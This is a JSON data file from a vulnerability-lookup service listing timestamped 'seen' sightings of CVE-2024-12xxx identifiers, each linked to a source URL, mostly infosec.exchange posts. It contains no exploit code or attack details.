{"vulnerability": "2024-12", "sightings": [{"uuid": "b2294ed8-e946-4224-aca3-b3cf074baacb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/113511789492366615", "content": "", "creation_timestamp": "2024-11-19T21:40:54.577305Z"}, {"uuid": "c54936c5-a09d-4ed0-8ff8-cb9893aa5b71", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/2704492", "content": "", "creation_timestamp": "2024-11-18T22:19:12.809923Z"}, {"uuid": "a56bb10a-6d0c-440c-9776-549de5c524da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "https://thehackernews.com/2024/11/cisa-alert-active-exploitation-of.html", "content": "", "creation_timestamp": "2024-11-19T06:31:00.000000Z"}, {"uuid": "3ced8282-755b-435a-8641-f5ad96b0332e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "MISP/3c19819c-1dac-4ef2-bfed-be5efa7e0123", "content": "", "creation_timestamp": "2024-11-18T21:10:03.000000Z"}, {"uuid": "b517fd95-28a5-46a1-a263-e29be4be0fc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12247", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113600938602318829", "content": "", "creation_timestamp": "2024-12-05T15:32:39.866543Z"}, {"uuid": "5240f6bc-86ba-4c35-9568-a4d323cd0382", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12002", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113572036687180424", "content": "", "creation_timestamp": "2024-11-30T13:02:31.804102Z"}, {"uuid": "35749cb1-3405-4c8c-951c-f9c056cf8f1f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12099", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113592501505346516", "content": "", "creation_timestamp": "2024-12-04T03:47:00.716390Z"}, {"uuid": "d5d0b7aa-5cea-4d3f-ac2c-b35a179632dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12107", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113594201638912768", "content": "", "creation_timestamp": "2024-12-04T10:59:22.059858Z"}, {"uuid": "774c4789-75e0-4617-8740-280c7bb255ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12007", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113580057816825083", "content": "", "creation_timestamp": "2024-12-01T23:02:24.356973Z"}, {"uuid": "04fdb326-9d0f-47d2-bd83-c68ce41c0681", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12123", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113592437254564347", "content": "", "creation_timestamp": "2024-12-04T03:30:39.619345Z"}, {"uuid": "16defb86-5b68-4c8a-abc6-705186d711cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12138", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113594928209572244", "content": "", "creation_timestamp": "2024-12-04T14:04:08.513953Z"}, {"uuid": "f72ed51d-3d64-4dfa-9478-c143c24cd2a0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12231", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113601083833671259", "content": "", "creation_timestamp": "2024-12-05T16:09:36.017479Z"}, {"uuid": "04ee434a-55e8-4af8-9e1c-2103a6fce103", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12188", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113597384217334031", "content": "", "creation_timestamp": "2024-12-05T00:28:44.524108Z"}, {"uuid": "3b28a5fd-d08b-4e6d-8e3d-c1e84c3bdd9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12232", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113601083848167280", "content": "", "creation_timestamp": "2024-12-05T16:09:36.263088Z"}, {"uuid": "ea23d7fd-a8e5-40eb-bdca-ad2e66073afd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12148", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113595787186792018", "content": "", "creation_timestamp": "2024-12-04T17:42:35.575726Z"}, {"uuid": "256b1ff6-279f-4ad6-8f75-43402cd711e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12149", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113595787202124007", "content": "", "creation_timestamp": "2024-12-04T17:42:35.732743Z"}, {"uuid": "2f6e418f-4084-4856-9bc8-d279c2f2aa14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12182", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113596953459533175", "content": "", "creation_timestamp": "2024-12-04T22:39:11.397923Z"}, {"uuid": "79c88e7c-9897-4557-9da9-531a4a43b8cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12187", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113597384202826312", "content": "", "creation_timestamp": "2024-12-05T00:29:04.909687Z"}, {"uuid": "f7146a13-0d91-4fa4-a9ec-0f9c4d79664e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12185", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113597230481687138", "content": "", "creation_timestamp": "2024-12-04T23:49:38.703740Z"}, {"uuid": "9b530c62-9589-4b17-8706-829f9704123e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12183", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113597060800717377", "content": "", "creation_timestamp": "2024-12-04T23:06:29.392341Z"}, {"uuid": "1e0d201a-8b1e-4032-8695-5b742796da2a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12233", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113601182484335124", "content": "", "creation_timestamp": "2024-12-05T16:34:41.276511Z"}, {"uuid": "e763378e-0e76-4ebc-a1df-190841db4f65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12234", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113601319911708874", "content": "", "creation_timestamp": "2024-12-05T17:09:38.407807Z"}, {"uuid": "94b315e9-345f-471b-8e7a-9098ca8fefac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12115", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113609184987241947", "content": "", "creation_timestamp": "2024-12-07T02:29:49.767632Z"}, {"uuid": "9bc794fc-55d2-4860-8568-3fdf68bf7d00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113615570697901377", "content": "", "creation_timestamp": "2024-12-08T05:33:48.010759Z"}, {"uuid": "5acc0e3c-43ab-4e8d-92c9-d72b954b6432", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12348", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620042594523349", "content": "", "creation_timestamp": "2024-12-09T00:31:03.719778Z"}, {"uuid": "64a258a0-f9a7-49b9-afeb-ac5c34410ab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12355", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620426749129311", "content": "", "creation_timestamp": "2024-12-09T02:08:45.414534Z"}, {"uuid": "05d038de-8317-44e1-9e32-2c5bff720dd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12357", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113621002512435595", "content": "", "creation_timestamp": "2024-12-09T04:35:11.198656Z"}, {"uuid": "017af0fa-bb74-44a3-a6b9-55ea59031fef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12151", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113595787225996422", "content": "", "creation_timestamp": "2024-12-04T17:42:36.126917Z"}, {"uuid": "00133244-0772-4d38-b213-6560b7b2efe0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12165", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113609185002950467", "content": "", "creation_timestamp": "2024-12-07T02:29:50.393456Z"}, {"uuid": "011aa670-877e-49f1-83fe-1b24e63a0049", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12128", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113610834260122412", "content": "", "creation_timestamp": "2024-12-07T09:29:15.778802Z"}, {"uuid": "4b656020-38aa-483e-afa6-960f5dc8542f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12343", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113616512565146996", "content": "", "creation_timestamp": "2024-12-08T09:33:20.092902Z"}, {"uuid": "477bac9e-6ac5-43a0-983c-6fe1d7f7acc2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12166", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113609185016813797", "content": "", "creation_timestamp": "2024-12-07T02:29:50.448500Z"}, {"uuid": "4ed7de8e-32e4-444b-9c31-196bc203ca46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12358", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113621002546203926", "content": "", "creation_timestamp": "2024-12-09T04:35:11.483842Z"}, {"uuid": "c46241f5-ae76-49b5-b84b-f194ff9b2c74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12235", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113601431917341690", "content": "", "creation_timestamp": "2024-12-05T17:38:07.862961Z"}, {"uuid": "8b9c7c23-1579-4490-985c-7570e4006391", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12167", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113609185030208713", "content": "", "creation_timestamp": "2024-12-07T02:29:50.694755Z"}, {"uuid": "6e7242d6-77ba-4334-aaec-7f8e50d28b27", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12253", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113610893265289911", "content": "", "creation_timestamp": "2024-12-07T09:44:16.083880Z"}, {"uuid": "0050df2e-69b6-4a9a-90f5-07c5771288fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12209", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113618202280680817", "content": "", "creation_timestamp": "2024-12-08T16:43:02.635448Z"}, {"uuid": "6c7d6b30-dec4-48eb-aadb-bec6d2b14bef", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12349", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620042610266633", "content": "", "creation_timestamp": "2024-12-09T00:31:04.281123Z"}, {"uuid": "0f2b7733-31cc-4157-a521-4f6c2527b9a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12352", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620269681226570", "content": "", "creation_timestamp": "2024-12-09T01:28:48.828358Z"}, {"uuid": "30af1dce-d425-4628-b2ca-fce900af4f43", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12353", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620269696056677", "content": "", "creation_timestamp": "2024-12-09T01:28:49.183114Z"}, {"uuid": "005bee62-84bb-4459-8f4d-68e3a0a15d26", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113606107544116189", "content": "", "creation_timestamp": "2024-12-06T13:27:11.928961Z"}, {"uuid": "0dea11d8-a58c-4b27-a638-94d337ee9786", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12257", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113609244029314690", "content": "", "creation_timestamp": "2024-12-07T02:44:50.912757Z"}, {"uuid": "271a702c-32f9-46d1-8962-c33fed676835", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12270", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113610893279323997", "content": "", "creation_timestamp": "2024-12-07T09:44:16.242969Z"}, {"uuid": "cb12402c-de65-4dc6-bdcd-486a3e31ee52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12130", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113601483770927719", "content": "", "creation_timestamp": "2024-12-05T17:51:18.540639Z"}, {"uuid": "69522bed-d19c-4bfa-b262-12dae210f90e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12344", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113619720536909057", "content": "", "creation_timestamp": "2024-12-08T23:09:09.854534Z"}, {"uuid": "eefe4640-7888-4b94-99ff-04a29720885b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12350", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620132007840001", "content": "", "creation_timestamp": "2024-12-09T00:53:48.117288Z"}, {"uuid": "0d9d70e3-dde4-4d14-836b-a7df7e37dead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12359", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113621121467551191", "content": "", "creation_timestamp": "2024-12-09T05:05:26.239493Z"}, {"uuid": "01e2dcd6-5814-4b33-a0e9-5a278695a42e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12360", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113621121483792762", "content": "", "creation_timestamp": "2024-12-09T05:05:26.596707Z"}, {"uuid": "d270f6c2-ac44-40a3-9864-454938287fbd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12305", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622027518045241", "content": "", "creation_timestamp": "2024-12-09T08:55:51.216027Z"}, {"uuid": "2eb155d0-96dd-44af-aacd-82b7d404db4b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12307", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622027548857989", "content": "", "creation_timestamp": "2024-12-09T08:55:51.804403Z"}, {"uuid": "7f993074-85a5-40aa-93d0-64277475b8b4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12180", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113596828606242355", "content": "", "creation_timestamp": "2024-12-04T22:07:26.748765Z"}, {"uuid": "0968f59c-a7ba-4794-b75b-dd8e17e71e39", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12186", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113597230495654977", "content": "", "creation_timestamp": "2024-12-04T23:49:38.764268Z"}, {"uuid": "f876beda-a361-4dfc-a113-c5cb4be82aec", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12062", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113588228650413765", "content": "", "creation_timestamp": "2024-12-03T09:40:21.528081Z"}, {"uuid": "44f17634-64c5-4d64-ab72-2cf3382062dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12196", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113595787239641013", "content": "", "creation_timestamp": "2024-12-04T17:42:36.546509Z"}, {"uuid": "b5936c4f-dfa0-4e1c-928d-d8f6ed1d13d3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12094", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113600229618241145", "content": "", "creation_timestamp": "2024-12-05T12:32:21.990127Z"}, {"uuid": "e128ddc9-9340-47e3-9647-b8a0340ca52f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12003", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113605199823333797", "content": "", "creation_timestamp": "2024-12-06T09:36:21.555534Z"}, {"uuid": "f42f08bb-b5f7-4541-864b-dbb93277401b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12028", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113605199851739398", "content": "", "creation_timestamp": "2024-12-06T09:36:21.757608Z"}, {"uuid": "583f27f1-186e-4a17-ae56-057cc649baa2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12027", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113605199837773929", "content": "", "creation_timestamp": "2024-12-06T09:36:21.805348Z"}, {"uuid": "9c682649-999c-44b2-87df-e09e62fdd0d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12015", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113583475655174182", "content": "", "creation_timestamp": "2024-12-02T13:31:36.440884Z"}, {"uuid": "bf1a0359-c3ea-4d9b-9189-e381cdb7f140", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12181", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113596828620055164", "content": "", "creation_timestamp": "2024-12-04T22:07:26.987693Z"}, {"uuid": "dbe2bf95-761d-4998-a010-e2a46780a0d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12230", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113600710829480734", "content": "", "creation_timestamp": "2024-12-05T14:34:44.612576Z"}, {"uuid": "bfffe6d2-7601-4c4c-9c18-ba70329dac6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://infosec.exchange/users/screaminggoat/statuses/113590396950354441", "content": "", "creation_timestamp": "2024-12-03T18:51:47.944231Z"}, {"uuid": "7eb16d8b-9e03-40f6-8d2b-6e253ea02164", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113590416932406147", "content": "", "creation_timestamp": "2024-12-03T18:56:51.970914Z"}, {"uuid": "9846043f-dae5-4874-b0f9-723ab48b6723", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12060", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113605258854008312", "content": "", "creation_timestamp": "2024-12-06T09:51:21.834908Z"}, {"uuid": "b6224584-0193-4c8d-848e-4cf39afc7739", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12110", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113605258890415406", "content": "", "creation_timestamp": "2024-12-06T09:51:22.223874Z"}, {"uuid": "a26de047-ff4d-45be-9633-cb567d39721e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12155", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113605258904859384", "content": "", "creation_timestamp": "2024-12-06T09:51:22.684459Z"}, {"uuid": "91c4c32a-2275-4fe2-ac0c-9a21d13bb98d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12346", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113619819168185275", "content": "", "creation_timestamp": "2024-12-08T23:34:14.459560Z"}, {"uuid": "6a31fdd0-2ca1-48fe-8008-58c2b278ac47", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12351", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620132022593728", "content": "", "creation_timestamp": "2024-12-09T00:53:48.450365Z"}, {"uuid": "9c0c2a3d-e5b5-4c80-8d84-e34db66dc354", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12306", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113622027533908621", "content": "", "creation_timestamp": "2024-12-09T08:55:51.472886Z"}, {"uuid": "7083e13d-48c8-4db6-a4b6-5f1e22162236", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12053", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113591074316314922", "content": "", "creation_timestamp": "2024-12-03T21:44:02.791920Z"}, {"uuid": "b561624d-dc8d-486b-94a5-321411085e3a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12001", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113571978341810883", "content": "", "creation_timestamp": "2024-11-30T12:47:41.535916Z"}, {"uuid": "ac3a2c0d-50d3-424b-afcf-2811c7207e8e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12082", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113588901007519029", "content": "", "creation_timestamp": "2024-12-03T12:31:20.879124Z"}, {"uuid": "2ccb330b-12df-4cb7-9162-ee6d845f163a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12347", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113619819183044274", "content": "", "creation_timestamp": "2024-12-08T23:34:15.226513Z"}, {"uuid": "a25f7b77-dd56-47c0-af4a-3038892fe6f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12352", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620257246409127", "content": "", "creation_timestamp": "2024-12-09T01:25:39.153768Z"}, {"uuid": "467b4c1a-a74c-4ee3-a97c-472b0d193fa7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12353", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620257262125048", "content": "", "creation_timestamp": "2024-12-09T01:25:39.472378Z"}, {"uuid": "68274c5a-bb59-4ecd-a933-65f4901b09b7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12354", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113620426733666913", "content": "", "creation_timestamp": "2024-12-09T02:08:45.217352Z"}, {"uuid": "30926502-ef97-42d8-924d-50f1c1f96416", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-12000", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113571794336079178", "content": "", "creation_timestamp": "2024-11-30T12:00:53.711761Z"}, {"uuid": 